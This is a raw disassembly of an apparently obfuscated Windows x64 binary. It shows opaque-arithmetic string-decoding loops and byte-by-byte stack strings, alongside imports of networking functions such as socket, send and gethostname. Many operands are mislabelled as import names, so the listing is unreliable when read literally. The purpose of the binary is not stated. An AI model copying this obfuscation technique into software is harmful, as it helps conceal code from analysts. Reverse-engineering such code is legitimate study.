add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
jmp 0x14010c539
movabs rcx, 0xeb8597a731fef358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14010c6bf
movabs rcx, 0x83c64023613182eb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6d
mov byte [rbp + r9 + 0x500], bl
jmp 0x14010c6ce
movabs rdx, 0xc0ace9eea745bc59
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6f
add bl, dl
cmp r10, 2
jb 0x14010c04d
movabs rdx, 0xde0c2c8109f88f16
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x34]
jmp 0x14010c608
movabs rdx, 0xfd9393b9ed59f5c7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x71
jmp 0x14010c254
movabs rdx, 0x3a7a3d85336e2f35
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x73
jmp 0x14010c219
movabs rdx, 0x33c36f9c105ddee
mov ecx, 0x3f
jmp 0x14010c28f
movabs rdx, 0x4022e0c5071a175c
mov ecx, 0x3e
jmp 0x14010c2be
movabs rdx, 0x7d098a904d2e50ca
mov ecx, 0x3d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010c559
movabs rdx, 0xb9f0345b93428a38
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010c695
movabs rdx, 0xf6d6de26d956c3a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010c692
movabs rdx, 0x33bd87f21f6afd14
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010c49e
movabs rdx, 0x70a431bd657f3682
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010c66f
movabs rdx, 0xad8adb88ab936ff0
mov ecx, Ordinal_60
jmp 0x14010c33b
movabs rdx, 0xea718553f1a7a95e
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010c606
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010c27e
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
inc bl
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x80
je 0x14010c4d1
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14010c352
movabs rdx, 0xbe84c54826972865
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3d
add bl, dl
cmp rdi, 1
jae 0x14010c47a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010c402
movabs rdx, 0x22824a680ae93f4
mov ecx, Ordinal_46
jmp 0x14010c28f
jne 0x14010c2a6
movabs rdx, 0x1141253405749fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010c6bf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010c2d3
movabs rdx, 0xc42d6887fa43108c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010c539
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010c2f0
movabs rdx, 0x8746bebcb42ed71e
mov ecx, reloc.WS2_32.dll_socket
jmp 0x14010c11e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010c31f
movabs rdx, 0xd796b2628066442
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010c692
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010c21b
movabs rdx, 0x56c56dc455c9b7f8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010c64c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010c37c
movabs rdx, 0x819e1b7ce082eef7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3f
jmp 0x14010c606
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010c3a8
movabs rcx, 0x7d0c7e6545a7c1b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x43
jmp 0x14010c66f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010c3d2
movabs rdx, 0xd74f76edf5f55cf5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4d
jmp 0x14010c539
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010c256
movabs rcx, 0x9a68cd22afe12387
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x4f
jmp 0x14010c6bf
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010c41f
movabs rdx, 0x885ad10ff4862118
mov ecx, Ordinal_46
jmp 0x14010c11e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010c43c
movabs rdx, 0xd1a6d3ae224974ce
mov ecx, Ordinal_50
jmp 0x14010c18e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010c459
movabs rdx, 0x94c029e2dc353b60
mov ecx, Ordinal_50
jmp 0x14010c1af
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010c078
movabs rdx, 0x1af2d64c500cc884
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14010c1e9
movabs rdx, 0xa12582b5c3e455a8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x500]
add bl, r8b
add bl, dl
movabs rcx, 0x82b22dd020da38f1
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x69
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x500], r8b
jmp 0x14010c692
movabs rdx, 0x643ed8ea7dd01c3a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x500]
jmp 0x14010c12b
movabs rcx, 0x5c6e11042975a01f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x27
jmp 0x14010c6bf
movabs rdx, 0x9954bacf6f89d98d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x25
add bl, dl
jmp 0x14010c58d
movabs rdx, 0xd63b649ab59e12fb
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x23
add bl, dl
movabs rdx, 0x45cb8404dac5ff83
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x500], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x27582f1f37bbe2cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x500], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010c6bf
movabs rcx, 0x13220e65fbb24c69
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x21
jmp 0x14010c695
movabs rdx, 0x43a35f5e5a176b8f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
add bl, dl
movabs rcx, 0xbf98d79b66ee725f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x67
add cl, r8b
mov byte [rbp + r9 + 0x500], cl
jmp 0x14010c64c
movabs rcx, 0xfa575cc02c5417d9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x11
inc r10
jmp 0x14010c66f
movabs rcx, 0x373e068b72685147
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xf
dec r9
jmp 0x14010c6ce
movabs rcx, 0xb10b5a21fe90c423
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010c6ce
movabs rcx, 0xa4a6014f16e1a9db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x500]
add rax, r10
add r9, rax
inc r9
jmp 0x14010bbe1
movabs rcx, 0x2e14e4b24bbf14ed
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7b
jmp 0x14010bbde
movabs rcx, 0x6afb8e7d91d34e5b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7d
jmp 0x14010bbce
lea rdx, [rbp + 0x174ba0c]
jmp 0x14010c735
lea rdx, [rbp + 0x16a9d55]
jmp 0x14010c735
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x20]
call fcn.1400ca3f4
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1400c9c14
nop
lea rcx, [rbp + 0x1a0]
call fcn.1401aa298
mov bl, al
lea rcx, [rbp + 0x1a0]
call fcn.140091e30
test bl, bl
je 0x14010f6e3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1060]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x1c0], 0x45
mov byte [rbp + 0x1c1], 0x75
mov byte [rbp + 0x1c2], WSASetLastError
mov byte [rbp + 0x1c3], 0x66
mov byte [rbp + 0x1c4], 0x76
mov byte [rbp + 0x1c5], 0x64
mov byte [rbp + 0x1c6], Ordinal_46
mov byte [rbp + 0x1c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1c8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x1c9], 0x7d
mov byte [rbp + 0x1ca], 0xa
xor eax, eax
mov dword [rbp + 0x1cb], eax
mov word [rbp + 0x1cf], ax
mov byte [rbp + 0x1d1], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0xe3cab7caa09e1080
mov r14d, 0x80
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
lea r15d, [r9 + 1]
cmp r9, 0x12
jae 0x14010d262
movzx r8d, byte [rbp + r9 + 0x1c0]
mov rdx, r8
cmp rdi, r9
ja 0x14010d259
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010c867
movabs r11, 0x3b16ce24793c580
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
jmp 0x14010cb0b
je 0x14010d1e2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010d162
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010d107
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010d0bb
movabs r11, 0x3b16ce24793c580
cmp r10, r9
ja 0x14010d250
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x14010c8c2
movabs rdx, 0x4d8dee8fdf1f3380
jmp 0x14010cad8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010d0af
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010d08f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010d06d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010d04a
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010d02a
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010d01b
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010cd45
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14010cd36
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010cd17
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010cd08
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14010ccf9
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010ccda
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14010ccba
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010cc9f
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14010cc7f
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14010cc70
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010c91d
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14010d236
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010d214
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010cb13
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14010caf1
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14010cace
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14010cc5e
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010cc4f
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010cc09
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010cbde
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010cbcf
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14010cbb0
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010cba1
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010cb92
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14010cb83
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14010cb74
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14010cb65
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010cb45
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14010cb36
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14010c91d
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x14010c91d
movabs rdx, 0x1561edcdd3c3c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
jmp 0x14010c910
movabs rcx, 0xf9f345184e14b180
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010c89e
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
jmp 0x14010c82f
movabs rdx, 0x6c6f747ef8f99c00
jmp 0x14010cebb
movabs rcx, 0x650c9aba69d21100
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d0fc
movabs rcx, 0x5da9c0f5daaa8600
jmp 0x14010ce8e
movabs rdx, 0x5646e7314b82fb00
jmp 0x14010ce67
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x14010cce4
movabs rcx, 0x478133a82d33e500
jmp 0x14010ccc4
movabs rdx, 0x401e59e39e0c5a00
jmp 0x14010ce15
movabs rcx, 0x38bb801f0ee4cf00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d1b2
movabs rcx, 0x3158a65a7fbd4400
jmp 0x14010cdec
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
mov byte [rbp + r9 + 0x1c0], bl
jmp 0x14010d20c
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
cmp r10, 0x7a
jb 0x14010cbfc
movabs rdx, 0x78b1622884e0b100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14010d0d8
movabs rdx, 0x101bd265fb8b5280
jmp 0x14010cd8b
movabs rcx, 0x8b8f8a16c63c780
add rcx, r9
jmp 0x14010cd56
movabs rcx, 0xd153975f3abb3500
jmp 0x14010cdec
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d1b2
movabs rcx, 0xc28de3d61c6c1f00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x14010d012
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d150
movabs rcx, 0xb3c8304cfe1d0900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d14d
movabs rdx, 0xac6556886ef57e00
jmp 0x14010ce67
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x14010ce8e
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x14010d0fc
movabs rdx, 0x963cc93ac17edd00
jmp 0x14010cebb
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14010cdd9
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x14010cff4
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x14010ced1
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
cmp rdi, 0x1000
jae 0x14010cfcc
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x14010cf68
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010cc26
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010ce02
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d1fd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ce2b
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d180
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ce54
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d14d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010ce7b
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x14010cfed
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010cea4
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d0ff
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010cd66
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x14010d0d8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010cefa
movabs rdx, 0xe8a9cbaf9d5d9a80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x14010d0d5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010cf12
movabs rcx, 0xf76f7f38bbacb080
jmp 0x14010d099
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010cf3b
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d087
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14010cd9f
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14010d1fa
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010cf80
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x14010cdec
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010cf98
movabs rdx, 0x3d9a94040ba45900
jmp 0x14010cc89
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010cfb0
movabs rcx, 0x4c60478d29f36f00
jmp 0x14010ccc4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010cc26
movabs rcx, 0x53c32151b91afa00
jmp 0x14010ce3e
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x1c0]
sub bl, al
add bl, r8b
add bl, dl
jmp 0x14010d125
movabs rcx, 0x877715b1a32fc700
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x1c0]
lea ebx, [r8 + rcx]
jmp 0x14010d180
movabs rcx, 0x90079678e7831680
jmp 0x14010cf52
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x14010d17d
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010d150
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010d14d
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010d0ff
movabs rcx, 0x54f0c8546e46be80
jmp 0x14010d0c5
movabs rcx, 0x462b14cb4ff7a880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
add cl, r14b
mov byte [rbp + r9 + 0x1c0], cl
add r10, r15
sub r9, r15
jmp 0x14010d20c
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r14b
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, bl
add r8b, r14b
mov byte [rbp + r9 + 0x1c0], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010d20c
mov r8, rdx
movabs rcx, 0x19d9fa2ff50a6680
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r14b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r14b
movzx eax, cl
mov byte [rbp + r9 + 0x1c0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
mov byte [rbp + r9 + 0x1c0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010d1fd
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, r14b
movzx eax, byte [rbp + r9 + 0x1c0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010c81c
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r14b
jmp 0x14010c815
lea rcx, [r9 + rsi]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r14b
jmp 0x14010c805
lea rdx, [rbp + 0x148b3c0]
jmp 0x14010d269
lea rdx, [rbp + 0x9c7940]
jmp 0x14010d269
lea rdx, [rbp + 0x1c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1060]
call fcn.140089ca0
nop
cmp qword [rbp + 0x10e8], 0
je 0x14010f6d6
mov byte [rbp + 0xcd0], __WSAFDIsSet
mov byte [rbp + 0xcd1], 0xe1
mov byte [rbp + 0xcd2], 0xf2
mov byte [rbp + 0xcd3], 0xf6
mov byte [rbp + 0xcd4], 0xe6
mov byte [rbp + 0xcd5], 0x88
mov byte [rbp + 0xcd6], 0x46
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0xea
mov byte [rbp + 0xcd9], 0xf6
mov byte [rbp + 0xcda], 0xee
mov byte [rbp + 0xcdb], 0xfe
mov byte [rbp + 0xcdc], 0xff
mov byte [rbp + 0xcdd], 0xed
mov byte [rbp + 0xcde], 0x87
mov byte [rbp + 0xcdf], Ordinal_143
mov byte [rbp + 0xce0], Ordinal_143
mov byte [rbp + 0xce1], 0x3d
mov byte [rbp + 0xce2], 0xfd
mov byte [rbp + 0xce3], Ordinal_60
mov byte [rbp + 0xce4], 0xe8
mov byte [rbp + 0xce5], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xce6], Ordinal_143
mov byte [rbp + 0xce7], 0x9d
mov byte [rbp + 0xce8], Ordinal_143
mov byte [rbp + 0xce9], 0x86
mov byte [rbp + 0xcea], 0x9f
mov byte [rbp + 0xceb], 0x9c
mov byte [rbp + 0xcec], Ordinal_50
mov byte [rbp + 0xced], 0xe8
mov byte [rbp + 0xcee], 0x9c
mov byte [rbp + 0xcef], 0x83
mov byte [rbp + 0xcf0], __WSAFDIsSet
mov byte [rbp + 0xcf1], __WSAFDIsSet
mov byte [rbp + 0xcf2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcf3], 0x85
mov byte [rbp + 0xcf4], 0x84
mov byte [rbp + 0xcf5], r14b
mov byte [rbp + 0xcf6], Ordinal_41
mov byte [rbp + 0xcf7], 0xed
mov byte [rbp + 0xcf8], 0x9d
mov byte [rbp + 0xcf9], __WSAFDIsSet
mov byte [rbp + 0xcfa], __WSAFDIsSet
mov byte [rbp + 0xcfb], 0xe2
mov byte [rbp + 0xcfc], Ordinal_143
mov byte [rbp + 0xcfd], 0x98
mov byte [rbp + 0xcfe], 0xad
mov byte [rbp + 0xcff], 0xad
mov byte [rbp + 0xd00], Ordinal_32
mov byte [rbp + 0xd01], 0xc1
mov byte [rbp + 0xd02], 0xa7
mov byte [rbp + 0xd03], 0xb7
mov byte [rbp + 0xd04], 0xa5
mov byte [rbp + 0xd05], 0xa6
mov byte [rbp + 0xd06], 0xba
mov byte [rbp + 0xd07], 0xaa
mov byte [rbp + 0xd08], 0xa8
mov byte [rbp + 0xd09], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xd0a], Ordinal_217
mov byte [rbp + 0xd0b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd0c], 0xe5
mov byte [rbp + 0xd0d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd0e], 0xc9
mov byte [rbp + 0xd0f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd10], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xd11], 0xb0
mov byte [rbp + 0xd12], 0xa5
mov byte [rbp + 0xd13], 0xa4
mov byte [rbp + 0xd14], 0xc9
mov byte [rbp + 0xd15], 0xb2
mov byte [rbp + 0xd16], 0xbb
mov byte [rbp + 0xd17], 7
mov byte [rbp + 0xd18], 0xf6
mov byte [rbp + 0xd19], 0xaa
mov byte [rbp + 0xd1a], 0xa9
mov byte [rbp + 0xd1b], Ordinal_200
mov byte [rbp + 0xd1c], 0xbe
mov byte [rbp + 0xd1d], 0xaf
mov byte [rbp + 0xd1e], 0x3f
